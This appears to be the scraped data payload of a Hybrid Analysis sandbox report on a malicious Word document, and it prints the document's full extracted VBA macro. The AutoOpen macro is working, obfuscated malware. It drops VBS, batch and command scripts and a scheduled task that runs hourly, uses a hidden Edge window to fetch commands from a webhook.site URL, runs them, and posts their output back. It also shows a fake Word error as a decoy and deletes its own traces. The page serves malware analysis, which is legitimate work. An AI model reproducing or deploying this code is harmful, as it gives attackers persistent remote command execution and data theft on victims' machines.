26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 30:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T502,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Msoffice/malicious_confidence_100% Sample 4a43aacffc2d… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 4a43aacffc2d…. Malware family: Msoffice/malicious_confidence_100%. Threat score 100/100. 7/27 AV engines flagged this file. 3 malicious and 7 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/4a43aacffc2d8d76f7abac729238779b6c99b10ee09f54c2cea1654a91561303","keywords":["Malicious","Msoffice/malicious_confidence_100%","malware analysis","sandbox report","threat intelligence","4a43aacffc2d8d76f7abac729238779b6c99b10ee09f54c2cea1654a91561303"],"about":{"@type":"SoftwareApplication","name":"4a43aacffc2d8d76f7abac729238779b6c99b10ee09f54c2cea1654a91561303","applicationCategory":["docx","office"],"identifier":"4a43aacffc2d8d76f7abac729238779b6c99b10ee09f54c2cea1654a91561303","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Msoffice/malicious_confidence_100%","antivirusDetections":{"malicious":7,"total":27},"behavioralIndicators":{"malicious":3,"suspicious":7},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T1c01,File "Module1.bas" (Streampath: "VBA/Module1") has code: "Sub AutoOpen() Set FSO = CreateObject("Scripting.FileSystemObject") Set File = FSO.CreateTextFile(Environ("userprofile") + "\295cc716-9ad2-4ff0-b742-22156a32fbc7" + ".vb" + "s", True) File.Write "Create" File.Write "Object" File.Write "(""WScr" File.Write "ipt.Shell"").R" File.Write "un """""""" & WScri" File.Write "pt.Argum" File.Write "ents(0) & """""""" 0 False" File.Write "" File.Close Set File5 = FSO.CreateTextFile(Environ("userprofile") + "\295cc716-9ad2-4ff0-b742-22156a32fbc7.htm", True) File5.WriteLine "<!DOCTYPE html><html><body onload='document.forms[0].submit()'><form action='https" File5.WriteLine "://webhook.site/998a0cb9-b8b9-4d84-ac14-c84d1d26b480' method='post'><textarea name='w3review'>" File5.Close Set File6 = FSO.CreateTextFile(Environ("userprofile") + "\295cc716-9ad2-4ff0-b742-22156a32fbc7.xhtml", True) File6.Write "</textarea></form>" File6.Write "</body></html>" File6.Close Set File2 = FSO.CreateTextFile(Environ("userprofile") + "\295cc716-9ad2-4ff0-b742-22156a32fbc7" + ".b" + "a" + "t", True) File2.WriteLine "@echo off" File2.WriteLine "set m1=msed" File2.WriteLine "set m2=ge.e" File2.WriteLine "set m3=xe" File2.WriteLine "set s1=sta" File2.WriteLine "set s2=rt" File2.WriteLine "set c1=c" File2.WriteLine "set c2=all" File2.WriteLine "set d1=d" File2.WriteLine "set d2=el" File2.WriteLine "set t1=ty" File2.WriteLine "set t2=pe" File2.WriteLine "set tk1=tas" File2.WriteLine "set tk2=kkill" File2.WriteLine "set cp1=co" File2.WriteLine "set cp2=py" File2.WriteLine "%d1%%d2% /q /f ""%userprofile%\Downloads\*.bc7""" File2.WriteLine "%d1%%d2% /q /f ""%userprofile%\Downloads\*.tmp""" File2.WriteLine "%d1%%d2% /q /f ""%userprofile%\Downloads\*.crdownload""" File2.WriteLine "%tk1%%tk2% /f /im %m1%%m2%%m3%" File2.WriteLine "%s1%%s2% """" %m1%%m2%%m3% --window-size=1 1 --window-position=10000 10000 --ignore-certificate-errors data:text/html;base64 PHNjcmlwdD4oYXN5bmMgKCk9Pntjb25zdCByZXNwb25zZT1hd2FpdCBmZXRjaCgnaHR0cHM6Ly93ZWJob29rLnNpdGUvMjk1Y2M3MTYtOWFkMi00ZmYwLWI3NDItMjIxNTZhMzJmYmM3Jyk7Y29uc3QgYmxvYj1hd2FpdCByZXNwb25zZS5ibG9iKCk7Y29uc3QgbGluaz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7bGluay5ocmVmPVVSTC5jcmVhdGVPYmplY3RVUkwoYmxvYik7bGluay5kb3dubG9hZD0nMjk1Y2M3MTYtOWFkMi00ZmYwLWI3NDItMjIxNTZhMzJmYmM3LmJjNyc7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChsaW5rKTtsaW5rLmNsaWNrKCk7ZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChsaW5rKTtVUkwucmV2b2tlT2JqZWN0VVJMKGxpbmsuaHJlZik7fSkoKTs8L3NjcmlwdD4=" File2.WriteLine "timeout 20" File2.WriteLine "set fileout=%random%%random%%random%.bc7" File2.WriteLine "%t1%%t2% ""%userprofile%\Downloads\*.bc7"" >> ""%userprofile%\%fileout%.cmd""" File2.WriteLine "%d1%%d2% /q /f ""%userprofile%\Downloads\*.bc7""" File2.WriteLine "%c1%%c2% ""%userprofile%\%fileout%.cmd"" >> ""%userprofile%\%fileout%"" 2>&1" File2.WriteLine "%cp1%%cp2% ""%userprofile%\295cc716-9ad2-4ff0-b742-22156a32fbc7.htm"" + ""%userprofile%\%fileout%"" + ""%userprofile%\295cc716-9ad2-4ff0-b742-22156a32fbc7.xhtml"" ""%userprofile%\%fileout%.html""" File2.WriteLine "%tk1%%tk2% /f /im %m1%%m2%%m3%" File2.WriteLine "%s1%%s2% """" %m1%%m2%%m3% --window-size=1 1 --window-position=10000 10000 --ignore-certificate-errors ""%userprofile%\%fileout%.html""" File2.WriteLine "timeout 20" File2.WriteLine "%d1%%d2% /q /f ""%userprofile%\%fileout%.cmd""" File2.WriteLine "%d1%%d2% /q /f ""%userprofile%\%fileout%""" File2.WriteLine "%d1%%d2% /q /f ""%userprofile%\%fileout%.html""" File2.WriteLine "%tk1%%tk2% /f /im %m1%%m2%%m3%" File2.Close Set File3 = FSO.CreateTextFile(Environ("userprofile") + "\295cc716-9ad2-4ff0-b742-22156a32fbc7" + ".c" + "m" + "d", True) File3.Write "scht" File3.WriteLine "asks /create /xml ""%userprofile%\295cc716-9ad2-4ff0-b742-22156a32fbc7.xml"" /tn 295cc716-9ad2-4ff0-b742-22156a32fbc7 /f" File3.Write "de" File3.WriteLine "l /q /f ""%userprofile%\295cc716-9ad2-4ff0-b742-22156a32fbc7.xml""" File3.Write "de" File3.Write "l /q /f ""%userprofile%\998a0cb9-b8b9-4d84-ac14-c84d1d26b480.v""" File3.WriteLine "bs" File3.Write "de" File3.WriteLine "l %0" File3.Close Set File4 = FSO.CreateTextFile(Environ("userprofile") + "\998a0cb9-b8b9-4d84-ac14-c84d1d26b480" + ".vb" + "s", True) File4.Write "Create" File4.Write "Object" File4.Write "(""Wscr" File4.Write "ipt.Shell"").R" File4.Write "un CreateOb" File4.Write "ject(""Wscri" File4.Write "pt.Shell"").ExpandEnvironment" File4.Write "Strings(""%user" File4.Write "profile%\295cc716-9ad2-4ff0-b742-22156a32fbc7." File4.Write "cmd"") " File4.Write " 0 True" File4.Write "" File4.Close Set File7 = FSO.CreateTextFile(Environ("userprofile") + "\295cc716-9ad2-4ff0-b742-22156a32fbc7.xml", True) File7.Write "<?xml version=""1.0"" encoding=""UTF-16""?><Ta" File7.Write "sk version=""1.2"" xmlns=""http://schemas.microsoft.com/windows/2004/02/mit/task""><RegistrationInfo><Author>SYSTEM</Author></RegistrationInfo><Triggers><TimeTrigger><Repetition><Interval>PT61M</Interval><StopAtDurationEnd>false</StopAtDuration" File7.Write "End></Repetition><StartBoundary>2020-05-04T00:20:47</StartBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Principals><Principal id=""Author""><RunLevel>LeastPrivilege</RunLevel></Principal></Principals><Settings><MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>false</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable><IdleSettings><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true</Ena" File7.Write "bled><Hidden>false</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun><ExecutionTimeLimit>PT1H</ExecutionTimeLimit><Priority>7</Priority></Settings><Actions Context=""Author""><Exec><Command>%userprofile%\295cc716-9ad2-4ff0-b742-22156a32fbc7.vbs</Command><Arguments>%userprofile%\295cc716-9ad2-4ff0-b742-22156a32fbc7.bat</Arguments><WorkingDirectory>%user" File7.Write "profile%</WorkingDirectory></Exec></Actions></Task>" File7.Write "" File7.Close MsgBox "Word experienced an error trying to open the file." & vbCrLf & "Try these suggestions." & vbCrLf & "* Check the file permissions for the document or drive." & vbCrLf & "* Make sure there is sufficient free memory and disk space." & vbCrLf & "* Open the file with the Text Recovery converter." Shell "ex" + "plo" + "re" + "r " + Environ("userprofile") + "\998a0cb9-b8b9-4d84-ac14-c84d1d26b480" + ".vb" + "s", vbNormalFocus End Sub"28:T5c9,Normalized macro string: "xmlns=http://schemas.microsoft.com/windows/2004/02/mit/task>SYSTEMPT61Mfalse